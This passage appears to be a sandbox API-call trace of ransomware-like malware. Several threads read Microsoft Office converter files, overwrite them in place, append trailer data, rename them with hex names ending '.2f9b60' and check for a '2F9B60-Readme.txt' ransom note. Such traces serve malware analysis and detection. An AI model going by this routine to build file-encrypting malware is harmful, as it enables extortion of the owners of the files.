RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0126.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0126.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0126.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0126.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0126.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0126.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85f4f0 [0126.589] sprintf (in: _Dest=0x1b85f4f0, _Format="%c%c" | out: _Dest="0d") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4f2, _Format="%c%c" | out: _Dest="05") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4f4, _Format="%c%c" | out: _Dest="4b") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4f6, _Format="%c%c" | out: _Dest="d6") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4f8, _Format="%c%c" | out: _Dest="e2") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4fa, _Format="%c%c" | out: _Dest="08") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4fc, _Format="%c%c" | out: _Dest="eb") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f4fe, _Format="%c%c" | out: _Dest="48") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f500, _Format="%c%c" | out: _Dest="13") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f502, _Format="%c%c" | out: _Dest="94") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f504, _Format="%c%c" | out: _Dest="4e") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f506, _Format="%c%c" | out: _Dest="81") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f508, _Format="%c%c" | out: _Dest="c6") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f50a, _Format="%c%c" | out: _Dest="6d") returned 2 [0126.589] sprintf (in: _Dest=0x1b85f50c, _Format="%c%c" | out: _Dest="e3") returned 2 [0126.590] sprintf (in: _Dest=0x1b85f50e, _Format="%c%c" | out: _Dest="f2") returned 2 [0126.590] sprintf (in: _Dest=0x1b85f510, _Format="%c%c" | out: _Dest="18") returned 2 [0126.590] sprintf (in: _Dest=0x1b85f512, _Format="%c%c" | out: _Dest="2c") returned 2 [0126.590] RtlInitAnsiString (in: DestinationString=0x2451fb88, SourceString="0d054bd6e208eb4813944e81c66de3f2182c" | out: DestinationString="0d054bd6e208eb4813944e81c66de3f2182c") [0126.590] RtlAnsiStringToUnicodeString (in: DestinationString=0x2451fb58, SourceString="0d054bd6e208eb4813944e81c66de3f2182c", AllocateDestinationString=1 | out: DestinationString="0d054bd6e208eb4813944e81c66de3f2182c") returned 0x0 [0126.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c370 [0126.590] wcscat (in: _Dest=0x4205c970, _Source="0d054bd6e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\0d054bd6e") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\0d054bd6e" [0126.590] wcscat (in: _Dest=0x4205c970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\0d054bd6e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\0d054bd6e.2f9b60" [0126.590] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\0d054bd6e.2f9b60", NtPathName=0x2451fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\0d054bd6e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x107780 [0128.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0128.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.008] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x2451fb98, FileInformation=0x2451fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2451fb98, FileInformation=0x2451fba8) returned 0x0 [0128.008] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x2451fb98, FileInformation=0x2451fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c370) returned 1 [0128.012] FlushFileBuffers (hFile=0xe50) returned 1 [0128.032] CloseHandle (hObject=0xe50) returned 1 [0128.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205c970 [0128.033] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0128.033] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0128.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0128.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c180) returned 1 Thread: id = 1658 os_tid = 0x1b6c [0126.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 0x20 [0126.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE", dwFileAttributes=0x20) returned 1 [0126.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeec [0127.259] GetFileSizeEx (in: hFile=0xeec, lpFileSize=0x2468fd20 | out: lpFileSize=0x2468fd20*=13744) returned 1 [0127.259] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x35ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.259] ReadFile (in: hFile=0xeec, lpBuffer=0x2468fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2468fce8, lpOverlapped=0x0 | out: lpBuffer=0x2468fca0*, lpNumberOfBytesRead=0x2468fce8*=0x4, lpOverlapped=0x0) returned 1 [0127.264] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e140 [0127.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dde0 [0127.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de10 [0127.264] NtQuerySystemTime (in: CurrentTime=0x2468fbe0 | out: CurrentTime=0x2468fbe0*=132462177325138000) returned 0x0 [0127.264] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x5a62cc56 [0127.264] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x61af2fc5 [0127.264] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x5ae3ecc6 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x6e415b1c [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x45e63ce0 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x779cc3cd [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x6de4fc9a [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x69de45c2 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x63cc9ead [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x7c2a22d1 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x21f16457 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x6c874723 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x21021151 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x25eed258 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x55d2c277 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x23d5e57c [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x1aa949e3 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x369fa9f [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x1c70bc17 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x7b7a8f6d [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x5e6b54cd [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x5d20428b [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x67ea45e4 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x3dbf6762 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x3cc9d409 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x136de3c4 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x6fad331 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x558be19b [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x5869d78 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x1642350 [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x5f25665e [0127.265] RtlRandomEx (in: Seed=0x2468fbd0 | out: Seed=0x2468fbd0) returned 0x76d56860 [0127.274] ReadFile (in: hFile=0xeec, lpBuffer=0x41d44990, nNumberOfBytesToRead=0x35b0, lpNumberOfBytesRead=0x2468fbd0, lpOverlapped=0x0 | out: lpBuffer=0x41d44990*, lpNumberOfBytesRead=0x2468fbd0*=0x35b0, lpOverlapped=0x0) returned 1 [0127.280] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.280] WriteFile (in: hFile=0xeec, lpBuffer=0x41d26910*, nNumberOfBytesToWrite=0x35b0, lpNumberOfBytesWritten=0x2468fbd4, lpOverlapped=0x0 | out: lpBuffer=0x41d26910*, lpNumberOfBytesWritten=0x2468fbd4*=0x35b0, lpOverlapped=0x0) returned 1 [0161.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a30b0 [0161.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a30e0 [0161.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a30e0) returned 1 [0161.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d26910) returned 1 [0161.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d44990) returned 1 [0161.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e290) returned 1 [0161.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bef0) returned 1 [0161.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a30e0 [0161.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bef0 [0161.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e290 [0161.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3110 [0161.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3110) returned 1 [0161.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3110 [0161.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3140 [0161.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3170 [0161.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3170) returned 1 [0161.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e290) returned 1 [0161.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bef0) returned 1 [0161.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a83e0 [0161.044] SetFilePointerEx (in: hFile=0xeec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.044] WriteFile (hFile=0xeec, lpBuffer=0x423a83e0, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2468fcf0, lpOverlapped=0x0) [0200.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6de0 [0200.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6de0) returned 1 [0200.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6de0 [0200.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6db0 [0200.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6db0) returned 1 [0200.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.378] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.378] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="f7") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="16") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="8c") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="60") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="86") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="0a") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="ce") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="15") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="01") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="86") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.379] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="72") returned 2 [0200.379] RtlInitAnsiString (in: DestinationString=0x2468fd68, SourceString="a4f7168c8a60d6dcf9860ace2b150186ffcac372" | out: DestinationString="a4f7168c8a60d6dcf9860ace2b150186ffcac372") [0200.379] RtlAnsiStringToUnicodeString (in: DestinationString=0x2468fd38, SourceString="a4f7168c8a60d6dcf9860ace2b150186ffcac372", AllocateDestinationString=1 | out: DestinationString="a4f7168c8a60d6dcf9860ace2b150186ffcac372") returned 0x0 [0200.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d310 [0200.380] wcscat (in: _Dest=0x431e4520, _Source="a4f7168c8a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\a4f7168c8a") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\a4f7168c8a" [0200.380] wcscat (in: _Dest=0x431e4520, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\a4f7168c8a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\a4f7168c8a.2f9b60" [0200.380] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\a4f7168c8a.2f9b60", NtPathName=0x2468fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\a4f7168c8a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431edb60 [0216.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431edb60) returned 1 [0216.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fb670) returned 1 [0216.570] NtQueryInformationFile (in: FileHandle=0xeec, IoStatusBlock=0x2468fd78, FileInformation=0x2468fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2468fd78, FileInformation=0x2468fd88) returned 0x0 [0216.570] NtSetInformationFile (FileHandle=0xeec, IoStatusBlock=0x2468fd78, FileInformation=0x2468fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0220.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e4520) returned 1 [0220.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d310) returned 1 [0220.167] FlushFileBuffers (hFile=0xeec) returned 1 [0221.389] CloseHandle (hObject=0xeec) returned 1 [0223.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431834e0 [0223.009] wcscpy (in: _Dest=0x431834e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0223.009] wcscat (in: _Dest=0x431834e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0223.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0223.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431834e0) returned 1 [0223.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bf40) returned 1 Thread: id = 1659 os_tid = 0x1b70 [0126.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 0x20 [0126.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE", dwFileAttributes=0x20) returned 1 [0126.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd4c [0127.278] GetFileSizeEx (in: hFile=0xd4c, lpFileSize=0x2447f740 | out: lpFileSize=0x2447f740*=11704) returned 1 [0127.278] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x2db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.278] ReadFile (in: hFile=0xd4c, lpBuffer=0x2447f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2447f708, lpOverlapped=0x0 | out: lpBuffer=0x2447f6c0*, lpNumberOfBytesRead=0x2447f708*=0x4, lpOverlapped=0x0) returned 1 [0127.286] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0127.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a840 [0127.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de10 [0127.286] NtQuerySystemTime (in: CurrentTime=0x2447f600 | out: CurrentTime=0x2447f600*=132462177325450000) returned 0x0 [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x428c6095 [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x7fd7585e [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x6f9915a3 [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x9a7386c [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x7381928d [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x4f5ecd1a [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x720769cb [0127.286] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x5f2e72af [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x627c7a23 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x4ef8d7ec [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x1a4db1d0 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x3fc7e18c [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x1db64037 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x1f6477f5 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x523e082a [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x6b08b19d [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x1e36bc61 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x3cd57bc5 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x5161ea08 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x15cfb7fa [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x38f979cd [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x4c8bdc37 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x7de48285 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x1cafb442 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x7e756f51 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x7d3d3360 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x72f14b73 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x57b11e1e [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x712e1a66 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x38cb47d2 [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x2d7ac62d [0127.287] RtlRandomEx (in: Seed=0x2447f5f0 | out: Seed=0x2447f5f0) returned 0x2a8542a0 [0127.294] ReadFile (in: hFile=0xd4c, lpBuffer=0x41c8c1b0, nNumberOfBytesToRead=0x2db8, lpNumberOfBytesRead=0x2447f5f0, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesRead=0x2447f5f0*=0x2db8, lpOverlapped=0x0) returned 1 [0127.300] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.300] WriteFile (in: hFile=0xd4c, lpBuffer=0x41c6e130*, nNumberOfBytesToWrite=0x2db8, lpNumberOfBytesWritten=0x2447f5f4, lpOverlapped=0x0 | out: lpBuffer=0x41c6e130*, lpNumberOfBytesWritten=0x2447f5f4*=0x2db8, lpOverlapped=0x0) returned 1 [0127.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0127.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647a0 [0127.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647a0) returned 1 [0127.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6e130) returned 1 [0127.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c8c1b0) returned 1 [0127.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0127.855] 